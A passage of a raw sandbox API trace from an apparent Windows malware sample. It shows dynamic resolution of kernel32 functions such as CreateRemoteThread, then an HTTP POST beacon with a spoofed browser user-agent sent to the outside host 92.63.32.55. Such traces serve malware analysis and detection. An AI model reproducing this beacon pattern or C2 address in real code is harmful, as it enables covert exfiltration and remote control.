| out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0102.744] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0102.744] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0102.745] lstrlenA (lpString="CREATEEVENTA") returned 12 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0102.745] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0102.745] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0102.745] lstrlenA (lpString="CREATEEVENTW") returned 12 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0102.745] lstrlenA (lpString="CREATEFIBER") returned 11 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0102.745] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0102.745] lstrlenA (lpString="CREATEFILE2") returned 11 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0102.745] lstrlenA (lpString="CREATEFILEA") returned 11 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0102.745] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0102.745] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0102.745] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0102.745] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0102.745] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0102.745] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0102.745] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0102.745] lstrlenA (lpString="CREATEFILEW") returned 11 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0102.745] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0102.745] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0102.745] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0102.745] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0102.745] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0102.745] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0102.746] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0102.746] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0102.746] lstrlenA (lpString="CREATEJOBSET") returned 12 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0102.746] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0102.746] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0102.746] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0102.746] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0102.746] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0102.746] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0102.746] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0102.746] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0102.746] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0102.746] lstrlenA (lpString="CREATEPIPE") returned 10 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0102.746] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0102.746] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0102.746] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0102.746] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0102.746] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0102.746] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0102.746] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0102.746] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0102.746] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0102.747] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0102.747] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0102.747] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0102.747] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0102.747] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0102.747] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0102.747] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0102.747] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0102.747] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0102.747] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0102.747] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0102.747] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0102.747] lstrlenA (lpString="CREATETHREAD") returned 12 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0102.747] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0102.747] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0102.747] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0102.747] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0102.747] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0102.747] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0102.747] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0102.748] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0102.748] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0102.748] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0102.749] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0102.749] wsprintfA (in: param_1=0x3bb0000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /checkout/cj.do?vpey=fq1f12qc4 HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.32.55\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 247 [0102.749] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0102.749] send (s=0x544, buf=0x3bb0000*, len=468, flags=0) returned 468 [0102.750] shutdown (s=0x544, how=1) returned 0 [0102.750] recv (in: s=0x544, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828*) returned 1 [0102.791] recv (in: s=0x544, buf=0x2e7f829, len=1, flags=0 | out: buf=0x2e7f829*) returned 1 [0102.792] recv (in: s=0x544, buf=0x2e7f82a, len=1, flags=0 | out: buf=0x2e7f82a*) returned 1 [0102.792] recv (in: s=0x544, buf=0x2e7f82b, len=1, flags=0 | out: buf=0x2e7f82b*) returned 1 [0102.792] recv (in: s=0x544, buf=0x2e7f82c, len=1, flags=0 | out: buf=0x2e7f82c*) returned 1 [0102.796] recv (in: s=0x544, buf=0x2e7f82d, len=1, flags=0 | out: buf=0x2e7f82d*) returned 1 [0102.796] recv (in: s=0x544, buf=0x2e7f82e, len=1, flags=0 | out: buf=0x2e7f82e*) returned 1 [0102.796] recv (in: s=0x544, buf=0x2e7f82f, len=1, flags=0 | out: buf=0x2e7f82f*) returned 1 [0102.796] recv (in: s=0x544, buf=0x2e7f830, len=1, flags=0 | out: buf=0x2e7f830*) returned 1 [0102.796] recv (in: s=0x544, buf=0x2e7f831, len=1, flags=0 | out: buf=0x2e7f831*) returned 1 [0102.796] recv (in: s=0x544, buf=0x2e7f832, len=1, flags=0 | out: buf=0x2e7f832*) returned 1 [0102.796] recv (in: s=0x544, buf=0x2e7f833, len=1, flags=0 | out: buf=0x2e7f833*) returned 1 [0102.796] recv (in: s=0x544, buf=0x2e7f834, len=1, flags=0 | out: buf=0x2e7f834*) returned 1 [0102.796] recv (in: s=0x544, buf=0x2e7f835, len=1, flags=0 | out: buf=0x2e7f835*) returned 1 [0102.796] recv (in: s=0x544, buf=0x2e7f836, len=1, flags=0 | out: buf=0x2e7f836*) returned 1 [0102.796] recv (in: s=0x544, buf=0x2e7f837, len=1, flags=0 | out: buf=0x2e7f837*) returned 1 [0102.796] recv (in: s=0x544, buf=0x2e7f838, len=1, flags=0 | out: buf=0x2e7f838*) returned 1 [0102.797] recv (in: s=0x544, buf=0x2e7f839, len=1, flags=0 | out: buf=0x2e7f839*) returned 1 [0102.797] recv (in: s=0x544, buf=0x2e7f83a, len=1, flags=0 | out: buf=0x2e7f83a*) returned 1 [0102.797] recv (in: s=0x544, buf=0x2e7f83b, len=1, flags=0 | out: buf=0x2e7f83b*) returned 1 [0102.797] recv (in: s=0x544, buf=0x2e7f83c, len=1, flags=0 | out: buf=0x2e7f83c*) returned 1 [0102.797] recv (in: s=0x544, buf=0x2e7f83d, len=1, flags=0 | out: buf=0x2e7f83d*) returned 1 [0102.797] recv (in: s=0x544, buf=0x2e7f83e, len=1, flags=0 | out: buf=0x2e7f83e*) returned 1 [0102.797] recv (in: s=0x544, buf=0x2e7f83f, len=1, flags=0 | out: buf=0x2e7f83f*) returned 1 [0102.797] recv (in: s=0x544, buf=0x2e7f840, len=1, flags=0 | out: buf=0x2e7f840*) returned 1 [0102.797] recv (in: s=0x544, buf=0x2e7f841, len=1, flags=0 | out: buf=0x2e7f841*) returned 1 [0102.797] recv (in: s=0x544, buf=0x2e7f842, len=1, flags=0 | out: buf=0x2e7f842*) returned 1 [0102.797] recv (in: s=0x544, buf=0x2e7f843, len=1, flags=0 | out: buf=0x2e7f843*) returned 1 [0102.797] recv (in: s=0x544, buf=0x2e7f844, len=1, flags=0 | out: buf=0x2e7f844*) returned 1 [0102.798] recv (in: s=0x544, buf=0x2e7f845, len=1, flags=0 | out: buf=0x2e7f845*) returned 1 [0102.798] recv (in: s=0x544, buf=0x2e7f846, len=1, flags=0 | out: buf=0x2e7f846*) returned 1 [0102.798] recv (in: s=0x544, buf=0x2e7f847, len=1, flags=0 | out: buf=0x2e7f847*) returned 1 [0102.798] recv (in: s=0x544, buf=0x2e7f848, len=1, flags=0 | out: buf=0x2e7f848*) returned 1 [0102.798] recv (in: s=0x544, buf=0x2e7f849, len=1, flags=0 | out: buf=0x2e7f849*) returned 1 [0102.798] recv (in: s=0x544, buf=0x2e7f84a, len=1, flags=0 | out: buf=0x2e7f84a*) returned 1 [0102.798] recv (in: s=0x544, buf=0x2e7f84b, len=1, flags=0 | out: buf=0x2e7f84b*) returned 1 [0102.798] recv (in: s=0x544, buf=0x2e7f84c, len=1, flags=0 | out: buf=0x2e7f84c*) returned 1 [0102.798] recv (in: s=0x544, buf=0x2e7f84d, len=1, flags=0 | out: buf=0x2e7f84d*) returned 1 [0102.798] recv (in: s=0x544, buf=0x2e7f84e, len=1, flags=0 | out: buf=0x2e7f84e*) returned 1 [0102.798] recv (in: s=0x544, buf=0x2e7f84f, len=1, flags=0 | out: buf=0x2e7f84f*) returned 1 [0102.798] recv (in: s=0x544, buf=0x2e7f850, len=1, flags=0 | out: buf=0x2e7f850*) returned 1 [0102.799] recv (in: s=0x544, buf=0x2e7f851, len=1, flags=0 | out: buf=0x2e7f851*) returned 1 [0102.799] recv (in: s=0x544, buf=0x2e7f852, len=1, flags=0 | out: buf=0x2e7f852*) returned 1 [0102.799] recv (in: s=0x544, buf=0x2e7f853, len=1, flags=0 | out: buf=0x2e7f853*) returned 1 [0102.799] recv (in: s=0x544, buf=0x2e7f854, len=1, flags=0 | out: buf=0x2e7f854*) returned 1 [0102.799] recv (in: s=0x544, buf=0x2e7f855, len=1, flags=0 | out: buf=0x2e7f855*) returned 1 [0102.799] recv (in: s=0x544, buf=0x2e7f856, len=1, flags=0 | out: buf=0x2e7f856*) returned 1 [0102.799] recv (in: s=0x544, buf=0x2e7f857, len=1, flags=0 | out: buf=0x2e7f857*) returned 1 [0102.799] recv (in: s=0x544, buf=0x2e7f858, len=1, flags=0 | out: buf=0x2e7f858*) returned 1 [0102.799] recv (in: s=0x544, buf=0x2e7f859, len=1, flags=0 | out: buf=0x2e7f859*) returned 1 [0102.799] recv (in: s=0x544, buf=0x2e7f85a, len=1, flags=0 | out: buf=0x2e7f85a*) returned 1 [0102.799] recv (in: s=0x544, buf=0x2e7f85b, len=1, flags=0 | out: buf=0x2e7f85b*) returned 1 [0102.799] recv (in: s=0x544, buf=0x2e7f85c, len=1, flags=0 | out: buf=0x2e7f85c*) returned 1 [0102.800] recv (in: s=0x544, buf=0x2e7f85d, len=1, flags=0 | out: buf=0x2e7f85d*) returned 1 [0102.800] recv (in: s=0x544, buf=0x2e7f85e, len=1, flags=0 | out: buf=0x2e7f85e*) returned 1 [0102.800] recv (in: s=0x544, buf=0x2e7f85f, len=1, flags=0 | out: buf=0x2e7f85f*) returned 1 [0102.800] recv (in: s=0x544, buf=0x2e7f860, len=1, flags=0 | out: buf=0x2e7f860*) returned 1 [0102.800] recv (in: s=0x544, buf=0x2e7f861, len=1, flags=0 | out: buf=0x2e7f861*) returned 1 [0102.800] recv (in: s=0x544, buf=0x2e7f862, len=1, flags=0 | out: buf=0x2e7f862*) returned 1 [0102.800] recv (in: s=0x544, buf=0x2e7f863, len=1, flags=0 | out: buf=0x2e7f863*) returned 1 [0102.800] recv (in: s=0x544, buf=0x2e7f864, len=1, flags=0 | out: buf=0x2e7f864*) returned 1 [0102.800] recv (in: s=0x544, buf=0x2e7f865, len=1, flags=0 | out: buf=0x2e7f865*) returned 1 [0102.800] recv (in: s=0x544, buf=0x2e7f866, len=1, flags=0 | out: buf=0x2e7f866*) returned 1 [0102.800] recv (in: s=0x544, buf=0x2e7f867, len=1, flags=0 | out: buf=0x2e7f867*) returned 1 [0102.801] recv (in: s=0x544, buf=0x2e7f868, len=1, flags=0 | out: buf=0x2e7f868*) returned 1 [0102.801] recv (in: s=0x544, buf=0x2e7f869, len=1, flags=0 | out: buf=0x2e7f869*) returned 1 [0102.801] recv (in: s=0x544, buf=0x2e7f86a, len=1, flags=0 | out: buf=0x2e7f86a*) returned 1 [0102.801] recv (in: s=0x544, buf=0x2e7f86b, len=1, flags=0 | out: buf=0x2e7f86b*) returned 1 [0102.801] recv (in: s=0x544, buf=0x2e7f86c, len=1, flags=0 | out: buf=0x2e7f86c*) returned 1 [0102.801] recv (in: s=0x544, buf=0x2e7f86d, len=1, flags=0 | out: buf=0x2e7f86d*) returned 1 [0102.801] recv (in: s=0x544, buf=0x2e7f86e, len=1, flags=0 | out: buf=0x2e7f86e*) returned 1 [0102.801] recv (in: s=0x544, buf=0x2e7f86f, len=1, flags=0 | out: buf=0x2e7f86f*) returned 1 [0102.801] recv (in: s=0x544, buf=0x2e7f870, len=1, flags=0 | out: buf=0x2e7f870*) returned 1 [0102.801] recv (in: s=0x544, buf=0x2e7f871, len=1, flags=0 | out: buf=0x2e7f871*) returned 1 [0102.801] recv (in: s=0x544, buf=0x2e7f872, len=1, flags=0 | out: buf=0x2e7f872*) returned 1 [0102.801] recv (in: s=0x544, buf=0x2e7f873, len=1, flags=0 | out: buf=0x2e7f873*) returned 1 [0102.802] recv (in: s=0x544, buf=0x2e7f874, len=1, flags=0 | out: buf=0x2e7f874*) returned 1 [0102.802] recv (in: s=0x544, buf=0x2e7f875, len=1, flags=0 | out: buf=0x2e7f875*) returned 1 [0102.802] recv (in: s=0x544, buf=0x2e7f876, len=1, flags=0 | out: buf=0x2e7f876*) returned 1 [0102.802] recv (in: s=0x544, buf=0x2e7f877, len=1, flags=0 | out: buf=0x2e7f877*) returned 1 [0102.802] recv (in: s=0x544, buf=0x2e7f878, len=1, flags=0 | out: buf=0x2e7f878*) returned 1 [0102.802] recv (in: s=0x544, buf=0x2e7f879, len=1, flags=0 | out: buf=0x2e7f879*) returned 1 [0102.802] recv (in: s=0x544, buf=0x2e7f87a, len=1, flags=0 | out: buf=0x2e7f87a*) returned 1 [0102.803] recv (in: s=0x544, buf=0x2e7f87b, len=1, flags=0 | out: buf=0x2e7f87b*) returned 1 [0102.803] recv (in: s=0x544, buf=0x2e7f87c, len=1, flags=0 | out: buf=0x2e7f87c*) returned 1 [0102.803] recv (in: s=0x544, buf=0x2e7f87d, len=1, flags=0 | out: buf=0x2e7f87d*) returned 1 [0102.803] recv (in: s=0x544, buf=0x2e7f87e, len=1, flags=0 | out: buf=0x2e7f87e*) returned 1 [0102.803] recv (in: s=0x544, buf=0x2e7f87f, len=1, flags=0 | out: buf=0x2e7f87f*) returned 1 [0102.803] recv (in: s=0x544, buf=0x2e7f880, len=1, flags=0 | out: buf=0x2e7f880*) returned 1 [0102.803] recv (in: s=0x544, buf=0x2e7f881, len=1, flags=0 | out: buf=0x2e7f881*) returned 1 [0102.803] recv (in: s=0x544, buf=0x2e7f882, len=1, flags=0 | out: buf=0x2e7f882*) returned 1 [0102.803] recv (in: s=0x544, buf=0x2e7f883, len=1, flags=0 | out: buf=0x2e7f883*) returned 1 [0102.803] recv (in: s=0x544, buf=0x2e7f884, len=1, flags=0 | out: buf=0x2e7f884*) returned 1 [0102.803] recv (in: s=0x544, buf=0x2e7f885, len=1, flags=0 | out: buf=0x2e7f885*) returned 1 [0102.804] recv (in: s=0x544, buf=0x2e7f886, len=1, flags=0 | out: buf=0x2e7f886*) returned 1 [0102.804] recv (in: s=0x544, buf=0x2e7f887, len=1, flags=0 | out: buf=0x2e7f887*) returned 1 [0102.804] recv (in: s=0x544, buf=0x2e7f888, len=1, flags=0 | out: buf=0x2e7f888*) returned 1 [0102.804] recv (in: s=0x544, buf=0x2e7f889, len=1, flags=0 | out: buf=0x2e7f889*) returned 1 [0102.804] recv (in: s=0x544, buf=0x2e7f88a, len=1, flags=0 | out: buf=0x2e7f88a*) returned 1 [0102.804] recv (in: s=0x544, buf=0x2e7f88b, len=1, flags=0 | out: buf=0x2e7f88b*) returned 1 [0102.804] recv (in: s=0x544, buf=0x2e7f88c, len=1, flags=0 | out: buf=0x2e7f88c*) returned 1 [0102.804] recv (in: s=0x544, buf=0x2e7f88d, len=1, flags=0 | out: buf=0x2e7f88d*) returned 1 [0102.804] recv (in: s=0x544, buf=0x2e7f88e, len=1, flags=0 | out: buf=0x2e7f88e*) returned 1 [0102.804] recv (in: s=0x544, buf=0x2e7f88f, len=1, flags=0 | out: buf=0x2e7f88f*) returned 1 [0102.804] recv (in: s=0x544, buf=0x2e7f890, len=1, flags=0 | out: buf=0x2e7f890*) returned 1 [0102.805] recv (in: s=0x544, buf=0x2e7f891, len=1, flags=0 | out: buf=0x2e7f891*) returned 1 [0102.805] recv (in: s=0x544, buf=0x2e7f892, len=1, flags=0 | out: buf=0x2e7f892*) returned 1 [0102.805] recv (in: s=0x544, buf=0x2e7f893, len=1, flags=0 | out: buf=0x2e7f893*) returned 1 [0102.805] recv (in: s=0x544, buf=0x2e7f894, len=1, flags=0 | out: buf=0x2e7f894*) returned 1 [0102.805] recv (in: s=0x544, buf=0x2e7f895, len=1, flags=0 | out: buf=0x2e7f895*) returned 1 [0102.805] recv (in: s=0x544, buf=0x2e7f896, len=1, flags=0 | out: buf=0x2e7f896*) returned 1 [0102.805] recv (in: s=0x544, buf=0x2e7f897, len=1, flags=0 | out: buf=0x2e7f897*) returned 1 [0102.805] recv (in: s=0x544, buf=0x2e7f898, len=1, flags=0 | out: buf=0x2e7f898*) returned 1 [0102.805] recv (in: s=0x544, buf=0x2e7f899, len=1, flags=0 | out: buf=0x2e7f899*) returned 1 [0102.805] recv (in: s=0x544, buf=0x2e7f89a, len=1, flags=0 | out: buf=0x2e7f89a*) returned 1 [0102.805] recv (in: s=0x544, buf=0x2e7f89b, len=1, flags=0 | out: buf=0x2e7f89b*) returned 1 [0102.805] recv (in: s=0x544, buf=0x2e7f89c, len=1, flags=0 | out: buf=0x2e7f89c*) returned 1 [0102.806] recv (in: s=0x544, buf=0x2e7f89d, len=1, flags=0 | out: buf=0x2e7f89d*) returned 1 [0102.806] recv (in: s=0x544, buf=0x2e7f89e, len=1, flags=0 | out: buf=0x2e7f89e*) returned 1 [0102.806] recv (in: s=0x544, buf=0x2e7f89f, len=1, flags=0 | out: buf=0x2e7f89f*) returned 1 [0102.806] recv (in: s=0x544, buf=0x2e7f8a0, len=1, flags=0 | out: buf=0x2e7f8a0*) returned 1 [0102.806] recv (in: s=0x544, buf=0x2e7f8a1, len=1, flags=0 | out: buf=0x2e7f8a1*) returned 1 [0102.806] recv (in: s=0x544, buf=0x2e7f8a2, len=1, flags=0 | out: buf=0x2e7f8a2*) returned 1 [0102.806] recv (in: s=0x544, buf=0x2e7f8a3, len=1, flags=0 | out: 